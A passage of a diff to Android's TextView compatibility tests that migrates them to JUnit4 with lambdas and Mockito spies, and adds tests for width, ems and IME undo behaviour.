-        assertEquals(originalWidth - 1, mTextView.getWidth());
-
-        // Width
-        setWidth(originalWidth + 1);
-        assertEquals(1, mTextView.getLineCount());
-        assertEquals(originalWidth + 1, mTextView.getWidth());
-
-        setWidth(originalWidth - 1);
-        assertEquals(2, mTextView.getLineCount());
-        assertEquals(originalWidth - 1, mTextView.getWidth());
+        setMinLines(1);
+        assertEquals("Setting minLines should return -1 for minHeight",
+                -1, mTextView.getMinHeight());
     }
 
-    public void testSetMinEms() {
+    @Test
+    public void testWidth() throws Throwable {
+        mTextView = findTextView(R.id.textview_text);
+        int originalWidth = mTextView.getWidth();
+
+        int newWidth = mTextView.getWidth() / 8;
+        setWidth(newWidth);
+        assertEquals(newWidth, mTextView.getWidth());
+        assertEquals(newWidth, mTextView.getMaxWidth());
+        assertEquals(newWidth, mTextView.getMinWidth());
+
+        // Min Width
+        newWidth = originalWidth + 1;
+        setMinWidth(newWidth);
+        assertEquals(1, mTextView.getLineCount());
+        assertEquals(newWidth, mTextView.getWidth());
+        assertEquals(newWidth, mTextView.getMinWidth());
+
+        newWidth = originalWidth - 1;
+        setMinWidth(originalWidth - 1);
+        assertEquals(2, mTextView.getLineCount());
+        assertEquals(newWidth, mTextView.getWidth());
+        assertEquals(newWidth, mTextView.getMinWidth());
+
+        // Width
+        newWidth = originalWidth + 1;
+        setWidth(newWidth);
+        assertEquals(1, mTextView.getLineCount());
+        assertEquals(newWidth, mTextView.getWidth());
+        assertEquals(newWidth, mTextView.getMaxWidth());
+        assertEquals(newWidth, mTextView.getMinWidth());
+
+        newWidth = originalWidth - 1;
+        setWidth(newWidth);
+        assertEquals(2, mTextView.getLineCount());
+        assertEquals(newWidth, mTextView.getWidth());
+        assertEquals(newWidth, mTextView.getMaxWidth());
+        assertEquals(newWidth, mTextView.getMinWidth());
+
+        // setting ems should cause getMaxWidth/getMinWidth to return -1
+        setEms(1);
+        assertEquals("Setting ems should return -1 for maxWidth", -1, mTextView.getMaxWidth());
+        assertEquals("Setting ems should return -1 for maxWidth", -1, mTextView.getMinWidth());
+    }
+
+    @Test
+    public void testSetMinEms() throws Throwable {
         mTextView = findTextView(R.id.textview_text);
         assertEquals(1, mTextView.getLineCount());
 
-        int originalWidth = mTextView.getWidth();
-        int originalEms = originalWidth / mTextView.getLineHeight();
+        final int originalWidth = mTextView.getWidth();
+        final int originalEms = originalWidth / mTextView.getLineHeight();
 
         setMinEms(originalEms + 1);
         assertEquals((originalEms + 1) * mTextView.getLineHeight(), mTextView.getWidth());
+        assertEquals(-1, mTextView.getMinWidth());
+        assertEquals(originalEms + 1, mTextView.getMinEms());
 
         setMinEms(originalEms - 1);
         assertEquals(originalWidth, mTextView.getWidth());
+        assertEquals(-1, mTextView.getMinWidth());
+        assertEquals(originalEms - 1, mTextView.getMinEms());
+
+        setMinWidth(1);
+        assertEquals(-1, mTextView.getMinEms());
     }
 
-    public void testSetMaxEms() {
+    @Test
+    public void testSetMaxEms() throws Throwable {
         mTextView = findTextView(R.id.textview_text);
         assertEquals(1, mTextView.getLineCount());
-        int originalWidth = mTextView.getWidth();
-        int originalEms = originalWidth / mTextView.getLineHeight();
+
+        final int originalWidth = mTextView.getWidth();
+        final int originalEms = originalWidth / mTextView.getLineHeight();
 
         setMaxEms(originalEms + 1);
         assertEquals(1, mTextView.getLineCount());
         assertEquals(originalWidth, mTextView.getWidth());
+        assertEquals(-1, mTextView.getMaxWidth());
+        assertEquals(originalEms + 1, mTextView.getMaxEms());
 
         setMaxEms(originalEms - 1);
         assertTrue(1 < mTextView.getLineCount());
-        assertEquals((originalEms - 1) * mTextView.getLineHeight(),
-                mTextView.getWidth());
+        assertEquals((originalEms - 1) * mTextView.getLineHeight(), mTextView.getWidth());
+        assertEquals(-1, mTextView.getMaxWidth());
+        assertEquals(originalEms - 1, mTextView.getMaxEms());
+
+        setMaxWidth(originalWidth);
+        assertEquals(-1, mTextView.getMaxEms());
     }
 
-    public void testSetEms() {
+    @Test
+    public void testSetEms() throws Throwable {
         mTextView = findTextView(R.id.textview_text);
         assertEquals("check height", 1, mTextView.getLineCount());
-        int originalWidth = mTextView.getWidth();
-        int originalEms = originalWidth / mTextView.getLineHeight();
+        final int originalWidth = mTextView.getWidth();
+        final int originalEms = originalWidth / mTextView.getLineHeight();
 
         setEms(originalEms + 1);
         assertEquals(1, mTextView.getLineCount());
-        assertEquals((originalEms + 1) * mTextView.getLineHeight(),
-                mTextView.getWidth());
+        assertEquals((originalEms + 1) * mTextView.getLineHeight(), mTextView.getWidth());
+        assertEquals(-1, mTextView.getMinWidth());
+        assertEquals(-1, mTextView.getMaxWidth());
+        assertEquals(originalEms + 1, mTextView.getMinEms());
+        assertEquals(originalEms + 1, mTextView.getMaxEms());
 
         setEms(originalEms - 1);
         assertTrue((1 < mTextView.getLineCount()));
-        assertEquals((originalEms - 1) * mTextView.getLineHeight(),
-                mTextView.getWidth());
+        assertEquals((originalEms - 1) * mTextView.getLineHeight(), mTextView.getWidth());
+        assertEquals(-1, mTextView.getMinWidth());
+        assertEquals(-1, mTextView.getMaxWidth());
+        assertEquals(originalEms - 1, mTextView.getMinEms());
+        assertEquals(originalEms - 1, mTextView.getMaxEms());
     }
 
-    public void testSetLineSpacing() {
-        mTextView = new TextView(mActivity);
+    @Test
+    public void testSetLineSpacing() throws Throwable {
+        mActivityRule.runOnUiThread(() -> mTextView = new TextView(mActivity));
+        mInstrumentation.waitForIdleSync();
         int originalLineHeight = mTextView.getLineHeight();
 
         // normal
@@ -827,43 +1140,31 @@
         assertEquals(0, mTextView.getLineHeight());
     }
 
-    public void testSetElegantLineHeight() {
+    @Test
+    public void testSetElegantLineHeight() throws Throwable {
         mTextView = findTextView(R.id.textview_text);
         assertFalse(mTextView.getPaint().isElegantTextHeight());
-        mActivity.runOnUiThread(new Runnable() {
-            public void run() {
-                mTextView.setWidth(mTextView.getWidth() / 3);
-                mTextView.setPadding(1, 2, 3, 4);
-                mTextView.setGravity(Gravity.BOTTOM);
-            }
+        mActivityRule.runOnUiThread(() -> {
+            mTextView.setWidth(mTextView.getWidth() / 3);
+            mTextView.setPadding(1, 2, 3, 4);
+            mTextView.setGravity(Gravity.BOTTOM);
         });
         mInstrumentation.waitForIdleSync();
 
         int oldHeight = mTextView.getHeight();
-        mActivity.runOnUiThread(new Runnable() {
-            public void run() {
-                mTextView.setElegantTextHeight(true);
-            }
-        });
+        mActivityRule.runOnUiThread(() -> mTextView.setElegantTextHeight(true));
         mInstrumentation.waitForIdleSync();
 
         assertTrue(mTextView.getPaint().isElegantTextHeight());
         assertTrue(mTextView.getHeight() > oldHeight);
 
-        mActivity.runOnUiThread(new Runnable() {
-            public void run() {
-                mTextView.setElegantTextHeight(false);
-            }
-        });
+        mActivityRule.runOnUiThread(() -> mTextView.setElegantTextHeight(false));
         mInstrumentation.waitForIdleSync();
         assertFalse(mTextView.getPaint().isElegantTextHeight());
         assertTrue(mTextView.getHeight() == oldHeight);
     }
 
-    public void testInstanceState() {
-        // Do not test. Implementation details.
-    }
-
+    @Test
     public void testAccessFreezesText() throws Throwable {
         layout(R.layout.textview_hint_linksclickable_freezestext);
 
@@ -880,31 +1181,24 @@
         assertFalse(mTextView.getFreezesText());
 
         final CharSequence text = "Hello, TextView.";
-        mActivity.runOnUiThread(new Runnable() {
-            public void run() {
-                mTextView.setText(text);
-            }
-        });
+        mActivityRule.runOnUiThread(() -> mTextView.setText(text));
         mInstrumentation.waitForIdleSync();
 
         final URLSpan urlSpan = new URLSpan("ctstest://TextView/test");
         // TODO: How to simulate the TextView in frozen icicles.
-        Instrumentation instrumentation = getInstrumentation();
-        ActivityMonitor am = instrumentation.addMonitor(MockURLSpanTestActivity.class.getName(),
+        ActivityMonitor am = mInstrumentation.addMonitor(MockURLSpanTestActivity.class.getName(),
                 null, false);
 
-        mActivity.runOnUiThread(new Runnable() {
-            public void run() {
-                Uri uri = Uri.parse(urlSpan.getURL());
-                Intent intent = new Intent(Intent.ACTION_VIEW, uri);
-                mActivity.startActivity(intent);
-            }
+        mActivityRule.runOnUiThread(() -> {
+            Uri uri = Uri.parse(urlSpan.getURL());
+            Intent intent = new Intent(Intent.ACTION_VIEW, uri);
+            mActivity.startActivity(intent);
         });
 
         Activity newActivity = am.waitForActivityWithTimeout(TIMEOUT);
         assertNotNull(newActivity);
         newActivity.finish();
-        instrumentation.removeMonitor(am);
+        mInstrumentation.removeMonitor(am);
         // the text of TextView is removed.
         mTextView = findTextView(R.id.freezesText_false);
 
@@ -913,22 +1207,16 @@
         mTextView.setFreezesText(true);
         assertTrue(mTextView.getFreezesText());
 
-        mActivity.runOnUiThread(new Runnable() {
-            public void run() {
-                mTextView.setText(text);
-            }
-        });
+        mActivityRule.runOnUiThread(() -> mTextView.setText(text));
         mInstrumentation.waitForIdleSync();
         // TODO: How to simulate the TextView in frozen icicles.
-        am = instrumentation.addMonitor(MockURLSpanTestActivity.class.getName(),
+        am = mInstrumentation.addMonitor(MockURLSpanTestActivity.class.getName(),
                 null, false);
 
-        mActivity.runOnUiThread(new Runnable() {
-            public void run() {
-                Uri uri = Uri.parse(urlSpan.getURL());
-                Intent intent = new Intent(Intent.ACTION_VIEW, uri);
-                mActivity.startActivity(intent);
-            }
+        mActivityRule.runOnUiThread(() -> {
+            Uri uri = Uri.parse(urlSpan.getURL());
+            Intent intent = new Intent(Intent.ACTION_VIEW, uri);
+            mActivity.startActivity(intent);
         });
 
         Activity oldActivity = newActivity;
@@ -940,40 +1228,41 @@
             }
         }
         newActivity.finish();
-        instrumentation.removeMonitor(am);
+        mInstrumentation.removeMonitor(am);
         // the text of TextView is still there.
         mTextView = findTextView(R.id.freezesText_false);
         assertEquals(text.toString(), mTextView.getText().toString());
     }
 
+    @UiThreadTest
+    @Test
     public void testSetEditableFactory() {
         mTextView = new TextView(mActivity);
         String text = "sample";
-        MockEditableFactory factory = new MockEditableFactory();
-        mTextView.setEditableFactory(factory);
 
-        factory.reset();
+        final Editable.Factory mockEditableFactory = spy(new Editable.Factory());
+        doCallRealMethod().when(mockEditableFactory).newEditable(any(CharSequence.class));
+        mTextView.setEditableFactory(mockEditableFactory);
+
         mTextView.setText(text);
-        assertFalse(factory.hasCalledNewEditable());
+        verify(mockEditableFactory, never()).newEditable(any(CharSequence.class));
 
-        factory.reset();
+        reset(mockEditableFactory);
         mTextView.setText(text, BufferType.SPANNABLE);
-        assertFalse(factory.hasCalledNewEditable());
+        verify(mockEditableFactory, never()).newEditable(any(CharSequence.class));
 
-        factory.reset();
+        reset(mockEditableFactory);
         mTextView.setText(text, BufferType.NORMAL);
-        assertFalse(factory.hasCalledNewEditable());
+        verify(mockEditableFactory, never()).newEditable(any(CharSequence.class));
 
-        factory.reset();
+        reset(mockEditableFactory);
         mTextView.setText(text, BufferType.EDITABLE);
-        assertTrue(factory.hasCalledNewEditable());
-        assertEquals(text, factory.getSource());
+        verify(mockEditableFactory, times(1)).newEditable(text);
 
         mTextView.setKeyListener(DigitsKeyListener.getInstance());
-        factory.reset();
+        reset(mockEditableFactory);
         mTextView.setText(text, BufferType.EDITABLE);
-        assertTrue(factory.hasCalledNewEditable());
-        assertEquals(text, factory.getSource());
+        verify(mockEditableFactory, times(1)).newEditable(text);
 
         try {
             mTextView.setEditableFactory(null);
@@ -982,34 +1271,35 @@
         }
     }
 
+    @UiThreadTest
+    @Test
     public void testSetSpannableFactory() {
         mTextView = new TextView(mActivity);
         String text = "sample";
-        MockSpannableFactory factory = new MockSpannableFactory();
-        mTextView.setSpannableFactory(factory);
 
-        factory.reset();
+        final Spannable.Factory mockSpannableFactory = spy(new Spannable.Factory());
+        doCallRealMethod().when(mockSpannableFactory).newSpannable(any(CharSequence.class));
+        mTextView.setSpannableFactory(mockSpannableFactory);
+
         mTextView.setText(text);
-        assertFalse(factory.hasCalledNewSpannable());
+        verify(mockSpannableFactory, never()).newSpannable(any(CharSequence.class));
 
-        factory.reset();
+        reset(mockSpannableFactory);
         mTextView.setText(text, BufferType.EDITABLE);
-        assertFalse(factory.hasCalledNewSpannable());
+        verify(mockSpannableFactory, never()).newSpannable(any(CharSequence.class));
 
-        factory.reset();
+        reset(mockSpannableFactory);
         mTextView.setText(text, BufferType.NORMAL);
-        assertFalse(factory.hasCalledNewSpannable());
+        verify(mockSpannableFactory, never()).newSpannable(any(CharSequence.class));
 
-        factory.reset();
+        reset(mockSpannableFactory);
         mTextView.setText(text, BufferType.SPANNABLE);
-        assertTrue(factory.hasCalledNewSpannable());
-        assertEquals(text, factory.getSource());
+        verify(mockSpannableFactory, times(1)).newSpannable(text);
 
         mTextView.setMovementMethod(LinkMovementMethod.getInstance());
-        factory.reset();
+        reset(mockSpannableFactory);
         mTextView.setText(text, BufferType.NORMAL);
-        assertTrue(factory.hasCalledNewSpannable());
-        assertEquals(text, factory.getSource());
+        verify(mockSpannableFactory, times(1)).newSpannable(text);
 
         try {
             mTextView.setSpannableFactory(null);
@@ -1018,6 +1308,8 @@
         }
     }
 
+    @UiThreadTest
+    @Test
     public void testTextChangedListener() {
         mTextView = new TextView(mActivity);
         MockTextWatcher watcher0 = new MockTextWatcher();
@@ -1082,6 +1374,8 @@
         assertFalse(watcher1.hasCalledAfterTextChanged());
     }
 
+    @UiThreadTest
+    @Test
     public void testSetTextKeepState1() {
         mTextView = new TextView(mActivity);
 
@@ -1131,6 +1425,7 @@
     }
 
     @UiThreadTest
+    @Test
     public void testGetEditableText() {
         TextView tv = findTextView(R.id.textview_text);
 
@@ -1157,6 +1452,7 @@
     }
 
     @UiThreadTest
+    @Test
     public void testSetText2() {
         String string = "This is a test for setting text content by char array";
         char[] input = string.toCharArray();
@@ -1191,6 +1487,7 @@
     }
 
     @UiThreadTest
+    @Test
     public void testSetText1() {
         mTextView = findTextView(R.id.textview_text);
 
@@ -1290,6 +1587,7 @@
     }
 
     @UiThreadTest
+    @Test
     public void testSetText3() {
         TextView tv = findTextView(R.id.textview_text);
 
@@ -1306,35 +1604,31 @@
         }
     }
 
-    @MediumTest
-    public void testSetText_updatesHeightAfterRemovingImageSpan() {
+    @Test
+    public void testSetTextUpdatesHeightAfterRemovingImageSpan() throws Throwable {
         // Height calculation had problems when TextView had width: match_parent
         final int textViewWidth = ViewGroup.LayoutParams.MATCH_PARENT;
         final Spannable text = new SpannableString("some text");
         final int spanHeight = 100;
 
         // prepare TextView, width: MATCH_PARENT
-        TextView textView = new TextView(getActivity());
-        textView.setSingleLine(true);
-        textView.setTextSize(TypedValue.COMPLEX_UNIT_SP, 2);
-        textView.setPadding(0, 0, 0, 0);
-        textView.setIncludeFontPadding(false);
-        textView.setText(text);
+        mActivityRule.runOnUiThread(() -> mTextView = new TextView(mActivity));
+        mInstrumentation.waitForIdleSync();
+        mTextView.setSingleLine(true);
+        mTextView.setTextSize(TypedValue.COMPLEX_UNIT_SP, 2);
+        mTextView.setPadding(0, 0, 0, 0);
+        mTextView.setIncludeFontPadding(false);
+        mTextView.setText(text);
         final FrameLayout layout = new FrameLayout(mActivity);
         final ViewGroup.LayoutParams layoutParams = new ViewGroup.LayoutParams(textViewWidth,
                 ViewGroup.LayoutParams.WRAP_CONTENT);
-        layout.addView(textView, layoutParams);
+        layout.addView(mTextView, layoutParams);
         layout.setLayoutParams(layoutParams);
-        mActivity.runOnUiThread(new Runnable() {
-            @Override
-            public void run() {
-                getActivity().setContentView(layout);
-            }
-        });
-        getInstrumentation().waitForIdleSync();
+        mActivityRule.runOnUiThread(() -> mActivity.setContentView(layout));
+        mInstrumentation.waitForIdleSync();
 
         // measure height of text with no span
-        final int heightWithoutSpan = textView.getHeight();
+        final int heightWithoutSpan = mTextView.getHeight();
         assertTrue("Text height should be smaller than span height",
                 heightWithoutSpan < spanHeight);
 
@@ -1343,127 +1637,110 @@
         drawable.setBounds(0, 0, spanHeight, spanHeight);
         ImageSpan span = new ImageSpan(drawable);
         text.setSpan(span, 0, 1, Spanned.SPAN_EXCLUSIVE_EXCLUSIVE);
-        mActivity.runOnUiThread(new Runnable() {
-            @Override
-            public void run() {
-                textView.setText(text);
-            }
-        });
+        mActivityRule.runOnUiThread(() -> mTextView.setText(text));
         mInstrumentation.waitForIdleSync();
 
         // measure height with span
-        final int heightWithSpan = textView.getHeight();
+        final int heightWithSpan = mTextView.getHeight();
         assertTrue("Text height should be greater or equal than span height",
                 heightWithSpan >= spanHeight);
 
         // remove the span
         text.removeSpan(span);
-        mActivity.runOnUiThread(new Runnable() {
-            @Override
-            public void run() {
-                textView.setText(text);
-            }
-        });
+        mActivityRule.runOnUiThread(() -> mTextView.setText(text));
         mInstrumentation.waitForIdleSync();
 
-        final int heightAfterRemoveSpan = textView.getHeight();
+        final int heightAfterRemoveSpan = mTextView.getHeight();
         assertEquals("Text height should be same after removing the span",
                 heightWithoutSpan, heightAfterRemoveSpan);
     }
 
-    public void testRemoveSelectionWithSelectionHandles() {
-        initTextViewForTyping();
+    @Test
+    public void testRemoveSelectionWithSelectionHandles() throws Throwable {
+        initTextViewForTypingOnUiThread();
 
-        mActivity.runOnUiThread(new Runnable() {
-            @Override
-            public void run() {
-                mTextView.setTextIsSelectable(true);
-                mTextView.setText("abcd", BufferType.EDITABLE);
-            }
+        assertFalse(mTextView.isTextSelectable());
+        mActivityRule.runOnUiThread(() -> {
+            mTextView.setTextIsSelectable(true);
+            mTextView.setText("abcd", BufferType.EDITABLE);
         });
         mInstrumentation.waitForIdleSync();
+        assertTrue(mTextView.isTextSelectable());
 
         // Long click on the text selects all text and shows selection handlers. The view has an
         // attribute layout_width="wrap_content", so clicked location (the center of the view)
         // should be on the text.
-        TouchUtils.longClickView(this, mTextView);
+        CtsTouchUtils.emulateLongPressOnViewCenter(mInstrumentation, mTextView);
 
-        mActivity.runOnUiThread(new Runnable() {
-            @Override
-            public void run() {
-                Selection.removeSelection((Spannable) mTextView.getText());
-            }
-        });
-
-        // Make sure that a crash doesn't happen with {@link Selection#removeSelection}.
+        mActivityRule.runOnUiThread(() -> Selection.removeSelection((Spannable) mTextView.getText()));
         mInstrumentation.waitForIdleSync();
+
+        assertTrue(TextUtils.equals("abcd", mTextView.getText()));
     }
 
-    public void testUndo_insert() {
-        initTextViewForTyping();
+    @Test
+    public void testUndo_insert() throws Throwable {
+        initTextViewForTypingOnUiThread();
 
         // Type some text.
-        mKeyEventUtil.sendString(mTextView, "abc");
-        mActivity.runOnUiThread(new Runnable() {
-            public void run() {
-                // Precondition: The cursor is at the end of the text.
-                assertEquals(3, mTextView.getSelectionStart());
+        CtsKeyEventUtil.sendString(mInstrumentation, mTextView, "abc");
+        mActivityRule.runOnUiThread(() -> {
+            // Precondition: The cursor is at the end of the text.
+            assertEquals(3, mTextView.getSelectionStart());
 
-                // Undo removes the typed string in one step.
-                mTextView.onTextContextMenuItem(android.R.id.undo);
-                assertEquals("", mTextView.getText().toString());
-                assertEquals(0, mTextView.getSelectionStart());
+            // Undo removes the typed string in one step.
+            mTextView.onTextContextMenuItem(android.R.id.undo);
+            assertEquals("", mTextView.getText().toString());
+            assertEquals(0, mTextView.getSelectionStart());
 
-                // Redo restores the text and cursor position.
-                mTextView.onTextContextMenuItem(android.R.id.redo);
-                assertEquals("abc", mTextView.getText().toString());
-                assertEquals(3, mTextView.getSelectionStart());
+            // Redo restores the text and cursor position.
+            mTextView.onTextContextMenuItem(android.R.id.redo);
+            assertEquals("abc", mTextView.getText().toString());
+            assertEquals(3, mTextView.getSelectionStart());
 
-                // Undoing the redo clears the text again.
-                mTextView.onTextContextMenuItem(android.R.id.undo);
-                assertEquals("", mTextView.getText().toString());
+            // Undoing the redo clears the text again.
+            mTextView.onTextContextMenuItem(android.R.id.undo);
+            assertEquals("", mTextView.getText().toString());
 
-                // Undo when the undo stack is empty does nothing.
-                mTextView.onTextContextMenuItem(android.R.id.undo);
-                assertEquals("", mTextView.getText().toString());
-            }
+            // Undo when the undo stack is empty does nothing.
+            mTextView.onTextContextMenuItem(android.R.id.undo);
+            assertEquals("", mTextView.getText().toString());
         });
         mInstrumentation.waitForIdleSync();
     }
 
-    public void testUndo_delete() {
-        initTextViewForTyping();
+    @Test
+    public void testUndo_delete() throws Throwable {
+        initTextViewForTypingOnUiThread();
 
         // Simulate deleting text and undoing it.
-        mKeyEventUtil.sendString(mTextView, "xyz");
-        mKeyEventUtil.sendKeys(mTextView, KeyEvent.KEYCODE_DEL, KeyEvent.KEYCODE_DEL,
-                KeyEvent.KEYCODE_DEL);
-        mActivity.runOnUiThread(new Runnable() {
-            public void run() {
-                // Precondition: The text was actually deleted.
-                assertEquals("", mTextView.getText().toString());
-                assertEquals(0, mTextView.getSelectionStart());
+        CtsKeyEventUtil.sendString(mInstrumentation, mTextView, "xyz");
+        CtsKeyEventUtil.sendKeys(mInstrumentation, mTextView, KeyEvent.KEYCODE_DEL,
+                KeyEvent.KEYCODE_DEL, KeyEvent.KEYCODE_DEL);
+        mActivityRule.runOnUiThread(() -> {
+            // Precondition: The text was actually deleted.
+            assertEquals("", mTextView.getText().toString());
+            assertEquals(0, mTextView.getSelectionStart());
 
-                // Undo restores the typed string and cursor position in one step.
-                mTextView.onTextContextMenuItem(android.R.id.undo);
-                assertEquals("xyz", mTextView.getText().toString());
-                assertEquals(3, mTextView.getSelectionStart());
+            // Undo restores the typed string and cursor position in one step.
+            mTextView.onTextContextMenuItem(android.R.id.undo);
+            assertEquals("xyz", mTextView.getText().toString());
+            assertEquals(3, mTextView.getSelectionStart());
 
-                // Redo removes the text in one step.
-                mTextView.onTextContextMenuItem(android.R.id.redo);
-                assertEquals("", mTextView.getText().toString());
-                assertEquals(0, mTextView.getSelectionStart());
+            // Redo removes the text in one step.
+            mTextView.onTextContextMenuItem(android.R.id.redo);
+            assertEquals("", mTextView.getText().toString());
+            assertEquals(0, mTextView.getSelectionStart());
 
-                // Undoing the redo restores the text again.
-                mTextView.onTextContextMenuItem(android.R.id.undo);
-                assertEquals("xyz", mTextView.getText().toString());
-                assertEquals(3, mTextView.getSelectionStart());
+            // Undoing the redo restores the text again.
+            mTextView.onTextContextMenuItem(android.R.id.undo);
+            assertEquals("xyz", mTextView.getText().toString());
+            assertEquals(3, mTextView.getSelectionStart());
 
-                // Undoing again undoes the original typing.
-                mTextView.onTextContextMenuItem(android.R.id.undo);
-                assertEquals("", mTextView.getText().toString());
-                assertEquals(0, mTextView.getSelectionStart());
-            }
+            // Undoing again undoes the original typing.
+            mTextView.onTextContextMenuItem(android.R.id.undo);
+            assertEquals("", mTextView.getText().toString());
+            assertEquals(0, mTextView.getSelectionStart());
         });
         mInstrumentation.waitForIdleSync();
     }
@@ -1471,9 +1748,13 @@
     // Initialize the text view for simulated IME typing. Must be called on UI thread.
     private InputConnection initTextViewForSimulatedIme() {
         mTextView = findTextView(R.id.textview_text);
-        mTextView.setKeyListener(QwertyKeyListener.getInstance(false, Capitalize.NONE));
-        mTextView.setText("", BufferType.EDITABLE);
-        return mTextView.onCreateInputConnection(new EditorInfo());
+        return initTextViewForSimulatedIme(mTextView);
+    }
+
+    private InputConnection initTextViewForSimulatedIme(TextView textView) {
+        textView.setKeyListener(QwertyKeyListener.getInstance(false, Capitalize.NONE));
+        textView.setText("", BufferType.EDITABLE);
+        return textView.onCreateInputConnection(new EditorInfo());
     }
 
     // Simulates IME composing text behavior.
@@ -1484,6 +1765,7 @@
     }
 
     @UiThreadTest
+    @Test
     public void testUndo_imeInsertLatin() {
         InputConnection input = initTextViewForSimulatedIme();
 
@@ -1504,6 +1786,7 @@
     }
 
     @UiThreadTest
+    @Test
     public void testUndo_imeInsertJapanese() {
         InputConnection input = initTextViewForSimulatedIme();
 
@@ -1527,6 +1810,87 @@
     }
 
     @UiThreadTest
+    @Test
+    public void testUndo_imeInsertAndDeleteLatin() {
+        InputConnection input = initTextViewForSimulatedIme();
+
+        setComposingTextInBatch(input, "t");
+        setComposingTextInBatch(input, "te");
+        setComposingTextInBatch(input, "tes");
+        setComposingTextInBatch(input, "test");
+        setComposingTextInBatch(input, "tes");
+        setComposingTextInBatch(input, "te");
+        setComposingTextInBatch(input, "t");
+
+        input.beginBatchEdit();
+        input.setComposingText("", 1);
+        input.finishComposingText();
+        input.endBatchEdit();
+
+        mTextView.onTextContextMenuItem(android.R.id.undo);
+        assertEquals("test", mTextView.getText().toString());
+        mTextView.onTextContextMenuItem(android.R.id.undo);
+        assertEquals("", mTextView.getText().toString());
+    }
+
+    @UiThreadTest
+    @Test
+    public void testUndo_imeAutoCorrection() {
+        mTextView = findTextView(R.id.textview_text);
+        TextView spiedTextView = spy(mTextView);
+        InputConnection input = initTextViewForSimulatedIme(spiedTextView);
+
+        // Start typing a composition.
+        setComposingTextInBatch(input, "t");
+        setComposingTextInBatch(input, "te");
+        setComposingTextInBatch(input, "teh");
+
+        CorrectionInfo correctionInfo = new CorrectionInfo(0, "teh", "the");
+        reset(spiedTextView);
+        input.beginBatchEdit();
+        // Auto correct "teh" to "the".
+        assertTrue(input.commitCorrection(correctionInfo));
+        input.commitText("the", 1);
+        input.endBatchEdit();
+
+        verify(spiedTextView, times(1)).onCommitCorrection(refEq(correctionInfo));
+
+        assertEquals("the", spiedTextView.getText().toString());
+        spiedTextView.onTextContextMenuItem(android.R.id.undo);
+        assertEquals("teh", spiedTextView.getText().toString());
+        spiedTextView.onTextContextMenuItem(android.R.id.undo);
+        assertEquals("", spiedTextView.getText().toString());
+    }
+
+    @UiThreadTest
+    @Test
+    public void testUndo_imeAutoCompletion() {
+        mTextView = findTextView(R.id.textview_text);
+        TextView spiedTextView = spy(mTextView);
+        InputConnection input = initTextViewForSimulatedIme(spiedTextView);
+
+        // Start typing a composition.
+        setComposingTextInBatch(input, "a");
+        setComposingTextInBatch(input, "an");
+        setComposingTextInBatch(input, "and");
+
+        CompletionInfo completionInfo = new CompletionInfo(0, 0, "android");
+        reset(spiedTextView);
+        input.beginBatchEdit();
+        // Auto complete "and" to "android".
+        assertTrue(input.commitCompletion(completionInfo));
+        input.commitText("android", 1);
+        input.endBatchEdit();
+
+        verify(spiedTextView, times(1)).onCommitCompletion(refEq(completionInfo));
+
+        assertEquals("android", spiedTextView.getText().toString());
+        spiedTextView.onTextContextMenuItem(android.R.id.undo);
+        assertEquals("", spiedTextView.getText().toString());
+    }
+
+    @UiThreadTest
+    @Test
     public void testUndo_imeCancel() {
         InputConnection input = initTextViewForSimulatedIme();
         mTextView.setText("flower");
@@ -1540,14 +1904,14 @@
         // Cancel the composition.
         setComposingTextInBatch(input, "");
 
-        // Undo and redo do nothing.
         mTextView.onTextContextMenuItem(android.R.id.undo);
-        assertEquals("flower", mTextView.getText().toString());
+        assertEquals(HA + "n" + "flower", mTextView.getText().toString());
         mTextView.onTextContextMenuItem(android.R.id.redo);
         assertEquals("flower", mTextView.getText().toString());
     }
 
     @UiThreadTest
+    @Test
     public void testUndo_imeEmptyBatch() {
         InputConnection input = initTextViewForSimulatedIme();
         mTextView.setText("flower");
@@ -1563,409 +1927,377 @@
         assertEquals("flower", mTextView.getText().toString());
     }
 
-    public void testUndo_setText() {
-        initTextViewForTyping();
+    @Test
+    public void testUndo_setText() throws Throwable {
+        initTextViewForTypingOnUiThread();
 
         // Create two undo operations, an insert and a delete.
-        mKeyEventUtil.sendString(mTextView, "xyz");
-        mKeyEventUtil.sendKeys(mTextView, KeyEvent.KEYCODE_DEL, KeyEvent.KEYCODE_DEL,
-                KeyEvent.KEYCODE_DEL);
-        mActivity.runOnUiThread(new Runnable() {
-            public void run() {
-                // Calling setText() clears both undo operations, so undo doesn't happen.
-                mTextView.setText("Hello", BufferType.EDITABLE);
-                mTextView.onTextContextMenuItem(android.R.id.undo);
-                assertEquals("Hello", mTextView.getText().toString());
+        CtsKeyEventUtil.sendString(mInstrumentation, mTextView, "xyz");
+        CtsKeyEventUtil.sendKeys(mInstrumentation, mTextView, KeyEvent.KEYCODE_DEL,
+                KeyEvent.KEYCODE_DEL, KeyEvent.KEYCODE_DEL);
+        mActivityRule.runOnUiThread(() -> {
+            // Calling setText() clears both undo operations, so undo doesn't happen.
+            mTextView.setText("Hello", BufferType.EDITABLE);
+            mTextView.onTextContextMenuItem(android.R.id.undo);
+            assertEquals("Hello", mTextView.getText().toString());
 
-                // Clearing text programmatically does not undo either.
-                mTextView.setText("", BufferType.EDITABLE);
-                mTextView.onTextContextMenuItem(android.R.id.undo);
-                assertEquals("", mTextView.getText().toString());
-            }
+            // Clearing text programmatically does not undo either.
+            mTextView.setText("", BufferType.EDITABLE);
+            mTextView.onTextContextMenuItem(android.R.id.undo);
+            assertEquals("", mTextView.getText().toString());
         });
         mInstrumentation.waitForIdleSync();
     }
 
-    public void testRedo_setText() {
-        initTextViewForTyping();
+    @Test
+    public void testRedo_setText() throws Throwable {
+        initTextViewForTypingOnUiThread();
 
         // Type some text. This creates an undo entry.
-        mKeyEventUtil.sendString(mTextView, "abc");
-        mActivity.runOnUiThread(new Runnable() {
-            public void run() {
-                // Undo the typing to create a redo entry.
-                mTextView.onTextContextMenuItem(android.R.id.undo);
+        CtsKeyEventUtil.sendString(mInstrumentation, mTextView, "abc");
+        mActivityRule.runOnUiThread(() -> {
+            // Undo the typing to create a redo entry.
+            mTextView.onTextContextMenuItem(android.R.id.undo);
 
-                // Calling setText() clears the redo stack, so redo doesn't happen.
-                mTextView.setText("Hello", BufferType.EDITABLE);
-                mTextView.onTextContextMenuItem(android.R.id.redo);
-                assertEquals("Hello", mTextView.getText().toString());
-            }
+            // Calling setText() clears the redo stack, so redo doesn't happen.
+            mTextView.setText("Hello", BufferType.EDITABLE);
+            mTextView.onTextContextMenuItem(android.R.id.redo);
+            assertEquals("Hello", mTextView.getText().toString());
         });
         mInstrumentation.waitForIdleSync();
     }
 
-    public void testUndo_directAppend() {
-        initTextViewForTyping();
